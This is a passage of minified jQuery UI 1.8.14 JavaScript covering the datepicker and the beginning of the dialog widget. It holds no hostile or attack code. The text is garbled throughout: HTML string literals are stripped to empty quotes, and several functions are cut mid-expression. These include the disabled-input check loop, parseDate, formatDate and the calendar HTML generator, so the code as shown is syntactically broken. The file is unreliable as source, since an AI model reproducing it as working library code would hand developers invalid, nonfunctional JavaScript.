b=this._dialogInst=this._newInst(this._dialogInput,false);b.settings={};a.data(this._dialogInput[0],"datepicker",b)}h(b.settings,l||{});f=f&&f.constructor==Date?this._formatDate(b,f):f;this._dialogInput.val(f);this._pos=o?o.length?o:[o.pageX,o.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left", this._pos[0]+20+"px").css("top",this._pos[1]+"px");b.settings.onSelect=j;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]);a.blockUI&&a.blockUI(this.dpDiv);a.data(this._dialogInput[0],"datepicker",b);return this},_destroyDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();a.removeData(b,"datepicker");if(l=="input"){j.append.remove();j.trigger.remove();f.removeClass(this.markerClassName).unbind("focus", this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(l=="div"||l=="span")f.removeClass(this.markerClassName).empty()}},_enableDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();if(l=="input"){b.disabled=false;j.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(l=="div"||l=="span"){f= f.children("."+this._inlineClass);f.children().removeClass("ui-state-disabled");f.find("select.ui-datepicker-month, select.ui-datepicker-year").removeAttr("disabled")}this._disabledInputs=a.map(this._disabledInputs,function(o){return o==b?null:o})}},_disableDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();if(l=="input"){b.disabled=true;j.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5", cursor:"default"})}else if(l=="div"||l=="span"){f=f.children("."+this._inlineClass);f.children().addClass("ui-state-disabled");f.find("select.ui-datepicker-month, select.ui-datepicker-year").attr("disabled","disabled")}this._disabledInputs=a.map(this._disabledInputs,function(o){return o==b?null:o});this._disabledInputs[this._disabledInputs.length]=b}},_isDisabledDatepicker:function(b){if(!b)return false;for(var f=0;f-1}},_doKeyUp:function(b){b=a.datepicker._getInst(b.target);if(b.input.val()!=b.lastVal)try{if(a.datepicker.parseDate(a.datepicker._get(b,"dateFormat"),b.input?b.input.val():null,a.datepicker._getFormatConfig(b))){a.datepicker._setDateFromField(b); a.datepicker._updateAlternate(b);a.datepicker._updateDatepicker(b)}}catch(f){a.datepicker.log(f)}return true},_showDatepicker:function(b){b=b.target||b;if(b.nodeName.toLowerCase()!="input")b=a("input",b.parentNode)[0];if(!(a.datepicker._isDisabledDatepicker(b)||a.datepicker._lastInput==b)){var f=a.datepicker._getInst(b);if(a.datepicker._curInst&&a.datepicker._curInst!=f){a.datepicker._datepickerShowing&&a.datepicker._triggerOnClose(a.datepicker._curInst);a.datepicker._curInst.dpDiv.stop(true,true)}var j= a.datepicker._get(f,"beforeShow");h(f.settings,j?j.apply(b,[b,f]):{});f.lastVal=null;a.datepicker._lastInput=b;a.datepicker._setDateFromField(f);if(a.datepicker._inDialog)b.value="";if(!a.datepicker._pos){a.datepicker._pos=a.datepicker._findPos(b);a.datepicker._pos[1]+=b.offsetHeight}var l=false;a(b).parents().each(function(){l|=a(this).css("position")=="fixed";return!l});if(l&&a.browser.opera){a.datepicker._pos[0]-=document.documentElement.scrollLeft;a.datepicker._pos[1]-=document.documentElement.scrollTop}j= {left:a.datepicker._pos[0],top:a.datepicker._pos[1]};a.datepicker._pos=null;f.dpDiv.empty();f.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});a.datepicker._updateDatepicker(f);j=a.datepicker._checkOffset(f,j,l);f.dpDiv.css({position:a.datepicker._inDialog&&a.blockUI?"static":l?"fixed":"absolute",display:"none",left:j.left+"px",top:j.top+"px"});if(!f.inline){j=a.datepicker._get(f,"showAnim");var o=a.datepicker._get(f,"duration"),n=function(){var k=f.dpDiv.find("iframe.ui-datepicker-cover"); if(k.length){var m=a.datepicker._getBorders(f.dpDiv);k.css({left:-m[0],top:-m[1],width:f.dpDiv.outerWidth(),height:f.dpDiv.outerHeight()})}};f.dpDiv.zIndex(a(b).zIndex()+1);a.datepicker._datepickerShowing=true;a.effects&&a.effects[j]?f.dpDiv.show(j,a.datepicker._get(f,"showOptions"),o,n):f.dpDiv[j||"show"](j?o:null,n);if(!j||!o)n();f.input.is(":visible")&&!f.input.is(":disabled")&&f.input.focus();a.datepicker._curInst=f}}},_updateDatepicker:function(b){this.maxRows=4;var f=a.datepicker._getBorders(b.dpDiv); i=b;b.dpDiv.empty().append(this._generateHTML(b));var j=b.dpDiv.find("iframe.ui-datepicker-cover");j.length&&j.css({left:-f[0],top:-f[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()});b.dpDiv.find("."+this._dayOverClass+" a").mouseover();f=this._getNumberOfMonths(b);j=f[1];b.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");j>1&&b.dpDiv.addClass("ui-datepicker-multi-"+j).css("width",17*j+"em");b.dpDiv[(f[0]!=1||f[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi"); b.dpDiv[(this._get(b,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl");b==a.datepicker._curInst&&a.datepicker._datepickerShowing&&b.input&&b.input.is(":visible")&&!b.input.is(":disabled")&&b.input[0]!=document.activeElement&&b.input.focus();if(b.yearshtml){var l=b.yearshtml;setTimeout(function(){l===b.yearshtml&&b.yearshtml&&b.dpDiv.find("select.ui-datepicker-year:first").replaceWith(b.yearshtml);l=b.yearshtml=null},0)}},_getBorders:function(b){var f=function(j){return{thin:1,medium:2,thick:3}[j]|| j};return[parseFloat(f(b.css("border-left-width"))),parseFloat(f(b.css("border-top-width")))]},_checkOffset:function(b,f,j){var l=b.dpDiv.outerWidth(),o=b.dpDiv.outerHeight(),n=b.input?b.input.outerWidth():0,k=b.input?b.input.outerHeight():0,m=document.documentElement.clientWidth+a(document).scrollLeft(),p=document.documentElement.clientHeight+a(document).scrollTop();f.left-=this._get(b,"isRTL")?l-n:0;f.left-=j&&f.left==b.input.offset().left?a(document).scrollLeft():0;f.top-=j&&f.top==b.input.offset().top+ k?a(document).scrollTop():0;f.left-=Math.min(f.left,f.left+l>m&&m>l?Math.abs(f.left+l-m):0);f.top-=Math.min(f.top,f.top+o>p&&p>o?Math.abs(o+k):0);return f},_findPos:function(b){for(var f=this._get(this._getInst(b),"isRTL");b&&(b.type=="hidden"||b.nodeType!=1||a.expr.filters.hidden(b));)b=b[f?"previousSibling":"nextSibling"];b=a(b).offset();return[b.left,b.top]},_triggerOnClose:function(b){var f=this._get(b,"onClose");if(f)f.apply(b.input?b.input[0]:null,[b.input?b.input.val():"",b])},_hideDatepicker:function(b){var f= this._curInst;if(!(!f||b&&f!=a.data(b,"datepicker")))if(this._datepickerShowing){b=this._get(f,"showAnim");var j=this._get(f,"duration"),l=function(){a.datepicker._tidyDialog(f);this._curInst=null};a.effects&&a.effects[b]?f.dpDiv.hide(b,a.datepicker._get(f,"showOptions"),j,l):f.dpDiv[b=="slideDown"?"slideUp":b=="fadeIn"?"fadeOut":"hide"](b?j:null,l);b||l();a.datepicker._triggerOnClose(f);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute", left:"0",top:"-100px"});if(a.blockUI){a.unblockUI();a("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(b){b.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(b){if(a.datepicker._curInst){b=a(b.target);b[0].id!=a.datepicker._mainDivId&&b.parents("#"+a.datepicker._mainDivId).length==0&&!b.hasClass(a.datepicker.markerClassName)&&!b.hasClass(a.datepicker._triggerClass)&&a.datepicker._datepickerShowing&&!(a.datepicker._inDialog&& a.blockUI)&&a.datepicker._hideDatepicker()}},_adjustDate:function(b,f,j){b=a(b);var l=this._getInst(b[0]);if(!this._isDisabledDatepicker(b[0])){this._adjustInstDate(l,f+(j=="M"?this._get(l,"showCurrentAtPos"):0),j);this._updateDatepicker(l)}},_gotoToday:function(b){b=a(b);var f=this._getInst(b[0]);if(this._get(f,"gotoCurrent")&&f.currentDay){f.selectedDay=f.currentDay;f.drawMonth=f.selectedMonth=f.currentMonth;f.drawYear=f.selectedYear=f.currentYear}else{var j=new Date;f.selectedDay=j.getDate();f.drawMonth= f.selectedMonth=j.getMonth();f.drawYear=f.selectedYear=j.getFullYear()}this._notifyChange(f);this._adjustDate(b)},_selectMonthYear:function(b,f,j){b=a(b);var l=this._getInst(b[0]);l._selectingMonthYear=false;l["selected"+(j=="M"?"Month":"Year")]=l["draw"+(j=="M"?"Month":"Year")]=parseInt(f.options[f.selectedIndex].value,10);this._notifyChange(l);this._adjustDate(b)},_clickMonthYear:function(b){var f=this._getInst(a(b)[0]);f.input&&f._selectingMonthYear&&setTimeout(function(){f.input.focus()},0);f._selectingMonthYear= !f._selectingMonthYear},_selectDay:function(b,f,j,l){var o=a(b);if(!(a(l).hasClass(this._unselectableClass)||this._isDisabledDatepicker(o[0]))){o=this._getInst(o[0]);o.selectedDay=o.currentDay=a("a",l).html();o.selectedMonth=o.currentMonth=f;o.selectedYear=o.currentYear=j;this._selectDate(b,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear))}},_clearDate:function(b){b=a(b);this._getInst(b[0]);this._selectDate(b,"")},_selectDate:function(b,f){b=this._getInst(a(b)[0]);f=f!=null?f:this._formatDate(b); b.input&&b.input.val(f);this._updateAlternate(b);var j=this._get(b,"onSelect");if(j)j.apply(b.input?b.input[0]:null,[f,b]);else b.input&&b.input.trigger("change");if(b.inline)this._updateDatepicker(b);else{this._hideDatepicker();this._lastInput=b.input[0];typeof b.input[0]!="object"&&b.input.focus();this._lastInput=null}},_updateAlternate:function(b){var f=this._get(b,"altField");if(f){var j=this._get(b,"altFormat")||this._get(b,"dateFormat"),l=this._getDate(b),o=this.formatDate(j,l,this._getFormatConfig(b)); a(f).each(function(){a(this).val(o)})}},noWeekends:function(b){b=b.getDay();return[b>0&&b<6,""]},iso8601Week:function(b){b=new Date(b.getTime());b.setDate(b.getDate()+4-(b.getDay()||7));var f=b.getTime();b.setMonth(0);b.setDate(1);return Math.floor(Math.round((f-b)/864E5)/7)+1},parseDate:function(b,f,j){if(b==null||f==null)throw"Invalid arguments";f=typeof f=="object"?f.toString():f+"";if(f=="")return null;var l=(j?j.shortYearCutoff:null)||this._defaults.shortYearCutoff;l=typeof l!="string"?l:(new Date).getFullYear()% 100+parseInt(l,10);for(var o=(j?j.dayNamesShort:null)||this._defaults.dayNamesShort,n=(j?j.dayNames:null)||this._defaults.dayNames,k=(j?j.monthNamesShort:null)||this._defaults.monthNamesShort,m=(j?j.monthNames:null)||this._defaults.monthNames,p=j=-1,q=-1,s=-1,r=false,u=function(z){(z=H+1-1){p=1;q=s;do{l=this._getDaysInMonth(j,p-1);if(q<=l)break;p++;q-=l}while(1)}C=this._daylightSavingAdjust(new Date(j,p-1,q));if(C.getFullYear()!=j||C.getMonth()+1!=p||C.getDate()!=q)throw"Invalid date";return C},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y", TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24*60*60*1E7,formatDate:function(b,f,j){if(!f)return"";var l=(j?j.dayNamesShort:null)||this._defaults.dayNamesShort,o=(j?j.dayNames:null)||this._defaults.dayNames,n=(j?j.monthNamesShort:null)||this._defaults.monthNamesShort;j=(j?j.monthNames:null)||this._defaults.monthNames;var k=function(u){(u=r+112?b.getHours()+2:0);return b},_setDate:function(b,f,j){var l=!f,o=b.selectedMonth,n=b.selectedYear;f=this._restrictMinMax(b,this._determineDate(b,f,new Date));b.selectedDay= b.currentDay=f.getDate();b.drawMonth=b.selectedMonth=b.currentMonth=f.getMonth();b.drawYear=b.selectedYear=b.currentYear=f.getFullYear();if((o!=b.selectedMonth||n!=b.selectedYear)&&!j)this._notifyChange(b);this._adjustInstDate(b);if(b.input)b.input.val(l?"":this._formatDate(b))},_getDate:function(b){return!b.currentYear||b.input&&b.input.val()==""?null:this._daylightSavingAdjust(new Date(b.currentYear,b.currentMonth,b.currentDay))},_generateHTML:function(b){var f=new Date;f=this._daylightSavingAdjust(new Date(f.getFullYear(), f.getMonth(),f.getDate()));var j=this._get(b,"isRTL"),l=this._get(b,"showButtonPanel"),o=this._get(b,"hideIfNoPrevNext"),n=this._get(b,"navigationAsDateFormat"),k=this._getNumberOfMonths(b),m=this._get(b,"showCurrentAtPos"),p=this._get(b,"stepMonths"),q=k[0]!=1||k[1]!=1,s=this._daylightSavingAdjust(!b.currentDay?new Date(9999,9,9):new Date(b.currentYear,b.currentMonth,b.currentDay)),r=this._getMinMaxDate(b,"min"),u=this._getMinMaxDate(b,"max");m=b.drawMonth-m;var v=b.drawYear;if(m<0){m+=12;v--}if(u){var w= this._daylightSavingAdjust(new Date(u.getFullYear(),u.getMonth()-k[0]*k[1]+1,u.getDate()));for(w=r&&ww;){m--;if(m<0){m=11;v--}}}b.drawMonth=m;b.drawYear=v;w=this._get(b,"prevText");w=!n?w:this.formatDate(w,this._daylightSavingAdjust(new Date(v,m-p,1)),this._getFormatConfig(b));w=this._canAdjustMonth(b,-1,v,m)?''+w+"":o?"":''+w+"";var x=this._get(b,"nextText");x=!n?x:this.formatDate(x,this._daylightSavingAdjust(new Date(v,m+p,1)),this._getFormatConfig(b));o=this._canAdjustMonth(b,+1,v,m)?''+x+"":o?"":''+x+"";p=this._get(b,"currentText");x=this._get(b,"gotoCurrent")&&b.currentDay?s:f;p=!n?p:this.formatDate(p,x,this._getFormatConfig(b));n=!b.inline?'":"";l=l?'
        '+(j?n:"")+(this._isInRange(b,x)?'":"")+(j?"":n)+"
        ":"";n=parseInt(this._get(b,"firstDay"),10);n=isNaN(n)?0:n;p=this._get(b,"showWeek");x=this._get(b,"dayNames");this._get(b,"dayNamesShort");var y=this._get(b,"dayNamesMin"),H= this._get(b,"monthNames"),C=this._get(b,"monthNamesShort"),z=this._get(b,"beforeShowDay"),I=this._get(b,"showOtherMonths"),N=this._get(b,"selectOtherMonths");this._get(b,"calculateWeek");for(var J=this._getDefaultDate(b),D="",E=0;E1)switch(L){case 0:F+=" ui-datepicker-group-first";B=" ui-corner-"+(j?"right": "left");break;case k[1]-1:F+=" ui-datepicker-group-last";B=" ui-corner-"+(j?"left":"right");break;default:F+=" ui-datepicker-group-middle";B="";break}F+='">'}F+='
        '+(/all|left/.test(B)&&E==0?j?o:w:"")+(/all|right/.test(B)&&E==0?j?w:o:"")+this._generateMonthYearHeader(b,m,v,r,u,E>0||L>0,H,C)+'
        ';var G=p?'": "";for(B=0;B<7;B++){var A=(B+n)%7;G+="=5?' class="ui-datepicker-week-end"':"")+'>'+y[A]+""}F+=G+"";G=this._getDaysInMonth(v,m);if(v==b.selectedYear&&m==b.selectedMonth)b.selectedDay=Math.min(b.selectedDay,G);B=(this._getFirstDayOfMonth(v,m)-n+7)%7;G=Math.ceil((B+G)/7);this.maxRows=G=q?this.maxRows>G?this.maxRows:G:G;A=this._daylightSavingAdjust(new Date(v,m,1-B));for(var R=0;R";var S=!p?"":'";for(B=0;B<7;B++){var M=z?z.apply(b.input?b.input[0]:null,[A]):[true,""],K=A.getMonth()!=m,O=K&&!N||!M[0]||r&&Au;S+='";A.setDate(A.getDate()+1);A=this._daylightSavingAdjust(A)}F+=S+""}m++;if(m>11){m=0;v++}F+="
        '+this._get(b,"weekHeader")+"
        '+ this._get(b,"calculateWeek")(A)+""+(K&&!I?" ":O?''+A.getDate()+"":''+ A.getDate()+"")+"
        "+(q?"
        "+(k[0]>0&&L==k[1]-1?'
        ':""):"");P+=F}D+=P}D+=l+(a.browser.msie&&parseInt(a.browser.version,10)<7&&!b.inline?'':"");b._keyEvent=false;return D},_generateMonthYearHeader:function(b,f,j,l,o,n,k,m){var p=this._get(b,"changeMonth"), q=this._get(b,"changeYear"),s=this._get(b,"showMonthAfterYear"),r='
        ',u="";if(n||!p)u+=''+k[f]+"";else{k=l&&l.getFullYear()==j;var v=o&&o.getFullYear()==j;u+='"}s||(r+=u+(n||!(p&&q)?" ":""));if(!b.yearshtml){b.yearshtml="";if(n||!q)r+=''+j+"";else{m=this._get(b,"yearRange").split(":");var x=(new Date).getFullYear();k=function(y){y=y.match(/c[+-].*/)?j+parseInt(y.substring(1),10):y.match(/[+-].*/)?x+parseInt(y,10):parseInt(y,10);return isNaN(y)?x:y};f=k(m[0]);m=Math.max(f,k(m[1]||""));f=l?Math.max(f,l.getFullYear()):f;m=o?Math.min(m,o.getFullYear()): m;for(b.yearshtml+='";r+=b.yearshtml;b.yearshtml=null}}r+=this._get(b,"yearSuffix");if(s)r+=(n||!(p&&q)?" ":"")+u;r+="
        ";return r},_adjustInstDate:function(b,f,j){var l=b.drawYear+(j== "Y"?f:0),o=b.drawMonth+(j=="M"?f:0);f=Math.min(b.selectedDay,this._getDaysInMonth(l,o))+(j=="D"?f:0);l=this._restrictMinMax(b,this._daylightSavingAdjust(new Date(l,o,f)));b.selectedDay=l.getDate();b.drawMonth=b.selectedMonth=l.getMonth();b.drawYear=b.selectedYear=l.getFullYear();if(j=="M"||j=="Y")this._notifyChange(b)},_restrictMinMax:function(b,f){var j=this._getMinMaxDate(b,"min");b=this._getMinMaxDate(b,"max");f=j&&fb?b:f},_notifyChange:function(b){var f=this._get(b,"onChangeMonthYear"); if(f)f.apply(b.input?b.input[0]:null,[b.selectedYear,b.selectedMonth+1,b])},_getNumberOfMonths:function(b){b=this._get(b,"numberOfMonths");return b==null?[1,1]:typeof b=="number"?[1,b]:b},_getMinMaxDate:function(b,f){return this._determineDate(b,this._get(b,f+"Date"),null)},_getDaysInMonth:function(b,f){return 32-this._daylightSavingAdjust(new Date(b,f,32)).getDate()},_getFirstDayOfMonth:function(b,f){return(new Date(b,f,1)).getDay()},_canAdjustMonth:function(b,f,j,l){var o=this._getNumberOfMonths(b); j=this._daylightSavingAdjust(new Date(j,l+(f<0?f:o[0]*o[1]),1));f<0&&j.setDate(this._getDaysInMonth(j.getFullYear(),j.getMonth()));return this._isInRange(b,j)},_isInRange:function(b,f){var j=this._getMinMaxDate(b,"min");b=this._getMinMaxDate(b,"max");return(!j||f.getTime()>=j.getTime())&&(!b||f.getTime()<=b.getTime())},_getFormatConfig:function(b){var f=this._get(b,"shortYearCutoff");f=typeof f!="string"?f:(new Date).getFullYear()%100+parseInt(f,10);return{shortYearCutoff:f,dayNamesShort:this._get(b, "dayNamesShort"),dayNames:this._get(b,"dayNames"),monthNamesShort:this._get(b,"monthNamesShort"),monthNames:this._get(b,"monthNames")}},_formatDate:function(b,f,j,l){if(!f){b.currentDay=b.selectedDay;b.currentMonth=b.selectedMonth;b.currentYear=b.selectedYear}f=f?typeof f=="object"?f:this._daylightSavingAdjust(new Date(l,j,f)):this._daylightSavingAdjust(new Date(b.currentYear,b.currentMonth,b.currentDay));return this.formatDate(this._get(b,"dateFormat"),f,this._getFormatConfig(b))}});a.fn.datepicker= function(b){if(!this.length)return this;if(!a.datepicker.initialized){a(document).mousedown(a.datepicker._checkExternalClick).find("body").append(a.datepicker.dpDiv);a.datepicker.initialized=true}var f=Array.prototype.slice.call(arguments,1);if(typeof b=="string"&&(b=="isDisabled"||b=="getDate"||b=="widget"))return a.datepicker["_"+b+"Datepicker"].apply(a.datepicker,[this[0]].concat(f));if(b=="option"&&arguments.length==2&&typeof arguments[1]=="string")return a.datepicker["_"+b+"Datepicker"].apply(a.datepicker, [this[0]].concat(f));return this.each(function(){typeof b=="string"?a.datepicker["_"+b+"Datepicker"].apply(a.datepicker,[this].concat(f)):a.datepicker._attachDatepicker(this,b)})};a.datepicker=new c;a.datepicker.initialized=false;a.datepicker.uuid=(new Date).getTime();a.datepicker.version="1.8.14";window["DP_jQuery_"+g]=a})(jQuery); (function(a,d){var c={buttons:true,height:true,maxHeight:true,maxWidth:true,minHeight:true,minWidth:true,width:true},e={maxHeight:true,maxWidth:true,minHeight:true,minWidth:true},h=a.attrFn||{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true,click:true};a.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false, position:{my:"center",at:"center",collision:"fit",using:function(g){var i=a(this).css(g).offset().top;i<0&&a(this).css("top",g.top-i)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title");if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var g=this,i=g.options,b=i.title||" ",f=a.ui.dialog.getTitleId(g.element),j=(g.uiDialog=a("
        ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+ i.dialogClass).css({zIndex:i.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(n){if(i.closeOnEscape&&n.keyCode&&n.keyCode===a.ui.keyCode.ESCAPE){g.close(n);n.preventDefault()}}).attr({role:"dialog","aria-labelledby":f}).mousedown(function(n){g.moveToTop(false,n)});g.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(j);var l=(g.uiDialogTitlebar=a("
        ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(j), o=a('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){o.addClass("ui-state-hover")},function(){o.removeClass("ui-state-hover")}).focus(function(){o.addClass("ui-state-focus")}).blur(function(){o.removeClass("ui-state-focus")}).click(function(n){g.close(n);return false}).appendTo(l);(g.uiDialogTitlebarCloseText=a("")).addClass("ui-icon ui-icon-closethick").text(i.closeText).appendTo(o);a("").addClass("ui-dialog-title").attr("id", f).html(b).prependTo(l);if(a.isFunction(i.beforeclose)&&!a.isFunction(i.beforeClose))i.beforeClose=i.beforeclose;l.find("*").add(l).disableSelection();i.draggable&&a.fn.draggable&&g._makeDraggable();i.resizable&&a.fn.resizable&&g._makeResizable();g._createButtons(i.buttons);g._isOpen=false;a.fn.bgiframe&&j.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var g=this;g.overlay&&g.overlay.destroy();g.uiDialog.hide();g.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body"); g.uiDialog.remove();g.originalTitle&&g.element.attr("title",g.originalTitle);return g},widget:function(){return this.uiDialog},close:function(g){var i=this,b,f;if(false!==i._trigger("beforeClose",g)){i.overlay&&i.overlay.destroy();i.uiDialog.unbind("keypress.ui-dialog");i._isOpen=false;if(i.options.hide)i.uiDialog.hide(i.options.hide,function(){i._trigger("close",g)});else{i.uiDialog.hide();i._trigger("close",g)}a.ui.dialog.overlay.resize();if(i.options.modal){b=0;a(".ui-dialog").each(function(){if(this!== i.uiDialog[0]){f=a(this).css("z-index");isNaN(f)||(b=Math.max(b,f))}});a.ui.dialog.maxZ=b}return i}},isOpen:function(){return this._isOpen},moveToTop:function(g,i){var b=this,f=b.options;if(f.modal&&!g||!f.stack&&!f.modal)return b._trigger("focus",i);if(f.zIndex>a.ui.dialog.maxZ)a.ui.dialog.maxZ=f.zIndex;if(b.overlay){a.ui.dialog.maxZ+=1;b.overlay.$el.css("z-index",a.ui.dialog.overlay.maxZ=a.ui.dialog.maxZ)}g={scrollTop:b.element.attr("scrollTop"),scrollLeft:b.element.attr("scrollLeft")};a.ui.dialog.maxZ+= 1;b.uiDialog.css("z-index",a.ui.dialog.maxZ);b.element.attr(g);b._trigger("focus",i);return b},open:function(){if(!this._isOpen){var g=this,i=g.options,b=g.uiDialog;g.overlay=i.modal?new a.ui.dialog.overlay(g):null;g._size();g._position(i.position);b.show(i.show);g.moveToTop(true);i.modal&&b.bind("keypress.ui-dialog",function(f){if(f.keyCode===a.ui.keyCode.TAB){var j=a(":tabbable",this),l=j.filter(":first");j=j.filter(":last");if(f.target===j[0]&&!f.shiftKey){l.focus(1);return false}else if(f.target=== l[0]&&f.shiftKey){j.focus(1);return false}}});a(g.element.find(":tabbable").get().concat(b.find(".ui-dialog-buttonpane :tabbable").get().concat(b.get()))).eq(0).focus();g._isOpen=true;g._trigger("open");return g}},_createButtons:function(g){var i=this,b=false,f=a("
        ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),j=a("
        ").addClass("ui-dialog-buttonset").appendTo(f);i.uiDialog.find(".ui-dialog-buttonpane").remove();typeof g==="object"&&g!==null&&a.each(g, function(){return!(b=true)});if(b){a.each(g,function(l,o){o=a.isFunction(o)?{click:o,text:l}:o;var n=a('').click(function(){o.click.apply(i.element[0],arguments)}).appendTo(j);a.each(o,function(k,m){if(k!=="click")k in h?n[k](m):n.attr(k,m)});a.fn.button&&n.button()});f.appendTo(i.uiDialog)}},_makeDraggable:function(){function g(l){return{position:l.position,offset:l.offset}}var i=this,b=i.options,f=a(document),j;i.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close", handle:".ui-dialog-titlebar",containment:"document",start:function(l,o){j=b.height==="auto"?"auto":a(this).height();a(this).height(a(this).height()).addClass("ui-dialog-dragging");i._trigger("dragStart",l,g(o))},drag:function(l,o){i._trigger("drag",l,g(o))},stop:function(l,o){b.position=[o.position.left-f.scrollLeft(),o.position.top-f.scrollTop()];a(this).removeClass("ui-dialog-dragging").height(j);i._trigger("dragStop",l,g(o));a.ui.dialog.overlay.resize()}})},_makeResizable:function(g){function i(l){return{originalPosition:l.originalPosition, originalSize:l.originalSize,position:l.position,size:l.size}}g=g===d?this.options.resizable:g;var b=this,f=b.options,j=b.uiDialog.css("position");g=typeof g==="string"?g:"n,e,s,w,se,sw,ne,nw";b.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:b.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:b._minHeight(),handles:g,start:function(l,o){a(this).addClass("ui-dialog-resizing");b._trigger("resizeStart",l,i(o))},resize:function(l,o){b._trigger("resize", l,i(o))},stop:function(l,o){a(this).removeClass("ui-dialog-resizing");f.height=a(this).height();f.width=a(this).width();b._trigger("resizeStop",l,i(o));a.ui.dialog.overlay.resize()}}).css("position",j).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var g=this.options;return g.height==="auto"?g.minHeight:Math.min(g.minHeight,g.height)},_position:function(g){var i=[],b=[0,0],f;if(g){if(typeof g==="string"||typeof g==="object"&&"0"in g){i=g.split?g.split(" "): [g[0],g[1]];if(i.length===1)i[1]=i[0];a.each(["left","top"],function(j,l){if(+i[j]===i[j]){b[j]=i[j];i[j]=l}});g={my:i.join(" "),at:i.join(" "),offset:b.join(" ")}}g=a.extend({},a.ui.dialog.prototype.options.position,g)}else g=a.ui.dialog.prototype.options.position;(f=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(a.extend({of:window},g));f||this.uiDialog.hide()},_setOptions:function(g){var i=this,b={},f=false;a.each(g,function(j,l){i._setOption(j,l); if(j in c)f=true;if(j in e)b[j]=l});f&&this._size();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",b)},_setOption:function(g,i){var b=this,f=b.uiDialog;switch(g){case "beforeclose":g="beforeClose";break;case "buttons":b._createButtons(i);break;case "closeText":b.uiDialogTitlebarCloseText.text(""+i);break;case "dialogClass":f.removeClass(b.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+i);break;case "disabled":i?f.addClass("ui-dialog-disabled"): f.removeClass("ui-dialog-disabled");break;case "draggable":var j=f.is(":data(draggable)");j&&!i&&f.draggable("destroy");!j&&i&&b._makeDraggable();break;case "position":b._position(i);break;case "resizable":(j=f.is(":data(resizable)"))&&!i&&f.resizable("destroy");j&&typeof i==="string"&&f.resizable("option","handles",i);!j&&i!==false&&b._makeResizable(i);break;case "title":a(".ui-dialog-title",b.uiDialogTitlebar).html(""+(i||" "));break}a.Widget.prototype._setOption.apply(b,arguments)},_size:function(){var g= this.options,i,b,f=this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0});if(g.minWidth>g.width)g.width=g.minWidth;i=this.uiDialog.css({height:"auto",width:g.width}).height();b=Math.max(0,g.minHeight-i);if(g.height==="auto")if(a.support.minHeight)this.element.css({minHeight:b,height:"auto"});else{this.uiDialog.show();g=this.element.css("height","auto").height();f||this.uiDialog.hide();this.element.height(Math.max(g,b))}else this.element.height(Math.max(g.height- i,0));this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}});a.extend(a.ui.dialog,{version:"1.8.14",uuid:0,maxZ:0,getTitleId:function(g){g=g.attr("id");if(!g){this.uuid+=1;g=this.uuid}return"ui-dialog-title-"+g},overlay:function(g){this.$el=a.ui.dialog.overlay.create(g)}});a.extend(a.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:a.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(g){return g+".dialog-overlay"}).join(" "), 